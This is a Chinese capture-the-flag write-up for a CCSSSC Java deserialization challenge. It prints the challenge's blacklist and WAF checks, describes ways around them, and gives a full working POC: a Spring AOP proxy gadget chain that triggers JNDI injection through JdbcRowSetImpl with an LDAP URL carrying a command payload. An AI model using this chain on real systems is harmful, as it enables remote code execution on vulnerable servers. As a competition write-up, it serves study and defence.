浅析CCSSSC软件攻防赛druid+Hsql依赖题解
字数 787 2025-08-30 06:50:28

浅析CCSSSC软件攻防赛druid+Hsql依赖题解

环境分析

题目环境使用了以下关键依赖:

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-data-jpa</artifactId>
    </dependency>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
        <groupId>org.hsqldb</groupId>
        <artifactId>hsqldb</artifactId>
        <version>2.4.1</version>
    </dependency>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>druid-spring-boot-starter</artifactId>
        <version>1.2.8</version>
    </dependency>
</dependencies>

关键组件:

  • Spring Boot 2.7.0
  • HSQLDB 2.4.1
  • Druid 1.2.8
  • 隐含的Jackson依赖(用于反序列化)

题目分析

题目提供了一个反序列化入口点,并设置了以下WAF防护:

  1. 对明文反序列化数据流进行简单过滤
  2. 重写了ObjectInputStream类进行黑名单判断

WAF实现细节

MyObjectInputStream类关键代码:

public class MyObjectInputStream extends ObjectInputStream {
    private String[] denyClasses;
    
    public MyObjectInputStream(ByteArrayInputStream var1) throws IOException {
        super(var1);
        ArrayList<String> classList = new ArrayList<>();
        InputStream file = MyObjectInputStream.class.getResourceAsStream("/blacklist.txt");
        BufferedReader var2 = new BufferedReader(new InputStreamReader(file));
        while (true) {
            String var4 = var2.readLine();
            if (var4 != null) {
                classList.add(var4.trim());
            } else {
                this.denyClasses = new String[classList.size()];
                classList.toArray(this.denyClasses);
                return;
            }
        }
    }
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        for (String denyClass : this.denyClasses) {
            if (className.startsWith(denyClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }
        return super.resolveClass(desc);
    }
}

黑名单内容(blacklist.txt)

javax.management.BadAttributeValueExpException
com.sun.org.apache.xpath.internal.objects.XString
java.rmi.MarshalledObject
java.rmi.activation.ActivationID
javax.swing.event.EventListenerList
java.rmi.server.RemoteObject
javax.swing.AbstractAction
javax.swing.text.DefaultFormatter
java.beans.EventHandler
java.net.Inet4Address
java.net.Inet6Address
java.net.InetAddress
java.net.InetSocketAddress
java.net.Socket
java.net.URL
java.net.URLStreamHandler
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
java.rmi.registry.Registry
java.rmi.RemoteObjectInvocationHandler
java.rmi.server.ObjID
java.lang.System
javax.management.remote.JMXServiceUR
javax.management.remote.rmi.RMIConnector
java.rmi.server.RemoteObject
java.rmi.server.RemoteRef
javax.swing.UIDefaults$TextAndMnemonicHashMap
java.rmi.server.UnicastRemoteObject
java.util.Base64
java.util.Comparator
java.util.HashMap
java.util.logging.FileHandler
java.security.SignedObject
javax.swing.UIDefaults

攻击思路

第一步:绕过第一层WAF

WAF检查内容:

if (temp.contains("naming") || temp.contains("com.sun") || temp.contains("jdk.jfr")) {
    return "banned";
}

绕过方法:

  1. 使用UTF8OverlongEncoding方法
  2. 不使用包含这些字符串的类(com.sun, naming, jdk.jfr)

第二步:利用Spring AOP链

攻击链:

PriorityQueue#readObject() 
-> PriorityQueue#heapify() 
-> PriorityQueue#siftDown()
-> PriorityQueue#siftDownUsingComparator() 
-> Proxy#任意接口JdkDynamicAopProxy.invoke()
-> ReflectiveMethodInvocation.proceed()
-> AspectJAroundAdvice#invoke
-> org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()
-> method.invoke()

参考资源:

完整POC

package com.example.ezjav;

import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.rowset.JdbcRowSetImpl;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import java.lang.reflect.*;
import java.util.*;
import static sun.reflect.misc.FieldUtil.getField;

public class Exp {
    public static void main(String[] args) throws Exception{
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Deserialize/Jackson/Command/Y2FsYw==");
        Method method=jdbcRowSet.getClass().getMethod("getDatabaseMetaData");
        System.out.println(method);
        
        SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(jdbcRowSet);
        AspectJAroundAdvice advice = new AspectJAroundAdvice(method,new AspectJExpressionPointcut(),factory);
        Proxy proxy1 = (Proxy) getAProxy(advice,Advice.class);
        Proxy finalproxy=(Proxy) getBProxy(proxy1,new Class[]{Comparator.class});
        
        //代理链子
        PriorityQueue priorityqueue=new PriorityQueue(1);
        priorityqueue.add(1);
        priorityqueue.add(2);
        setValue(priorityqueue,"comparator",finalproxy);
        setValue(priorityqueue,"queue",new Object[]{proxy1,proxy1});
        
        //序列化反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(priorityqueue);
        objectOutputStream.close();
        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);
        new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(res))).readObject();
    }
    
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static Object getBProxy(Object obj,Class[] clazzs) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(obj);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
            .getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler);
        return proxy;
    }
    
    public static Object getAProxy(Object obj,Class<?> clazz) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(obj);
        AbstractAspectJAdvice advice = (AbstractAspectJAdvice) obj;
        DefaultIntroductionAdvisor advisor = new DefaultIntroductionAdvisor(
            (Advice) getBProxy(advice, new Class[]{MethodInterceptor.class, Advice.class}));
        advisedSupport.addAdvisor(advisor);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
            .getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
        return proxy;
    }
}

关键点说明

  1. JNDI利用:使用了JdbcRowSetImpl配合LDAP服务实现RCE
  2. 代理链构造:通过多层代理构造调用链
  3. Spring AOP利用:利用Spring AOP的调用链实现反序列化漏洞利用
  4. 绕过黑名单:通过不使用黑名单中的类来绕过防护

注意事项

  1. 使用jadx保存伪代码时,需要在项目中新建Resources目录并放入blacklist.txt文件
  2. 本地测试时可以使用JNDIMap工具
  3. Spring AOP版本需要匹配题目环境,否则可能无法成功利用

总结

这道题目展示了如何利用Spring AOP链实现反序列化漏洞的利用,通过精心构造的代理链绕过了黑名单限制,最终实现了RCE。这种利用方式非常巧妙,需要对Spring框架的内部机制有深入理解。

浅析CCSSSC软件攻防赛druid+Hsql依赖题解 环境分析 题目环境使用了以下关键依赖: 关键组件: Spring Boot 2.7.0 HSQLDB 2.4.1 Druid 1.2.8 隐含的Jackson依赖(用于反序列化) 题目分析 题目提供了一个反序列化入口点,并设置了以下WAF防护: 对明文反序列化数据流进行简单过滤 重写了ObjectInputStream类进行黑名单判断 WAF实现细节 MyObjectInputStream 类关键代码: 黑名单内容(blacklist.txt) 攻击思路 第一步:绕过第一层WAF WAF检查内容: 绕过方法: 使用UTF8OverlongEncoding方法 不使用包含这些字符串的类(com.sun, naming, jdk.jfr) 第二步:利用Spring AOP链 攻击链: 参考资源: SpringAopInDeserializationDemo1 Spring AOP反序列化利用分析 SpringAOP利用分析 完整POC 关键点说明 JNDI利用 :使用了JdbcRowSetImpl配合LDAP服务实现RCE 代理链构造 :通过多层代理构造调用链 Spring AOP利用 :利用Spring AOP的调用链实现反序列化漏洞利用 绕过黑名单 :通过不使用黑名单中的类来绕过防护 注意事项 使用jadx保存伪代码时,需要在项目中新建Resources目录并放入blacklist.txt文件 本地测试时可以使用 JNDIMap 工具 Spring AOP版本需要匹配题目环境,否则可能无法成功利用 总结 这道题目展示了如何利用Spring AOP链实现反序列化漏洞的利用,通过精心构造的代理链绕过了黑名单限制,最终实现了RCE。这种利用方式非常巧妙,需要对Spring框架的内部机制有深入理解。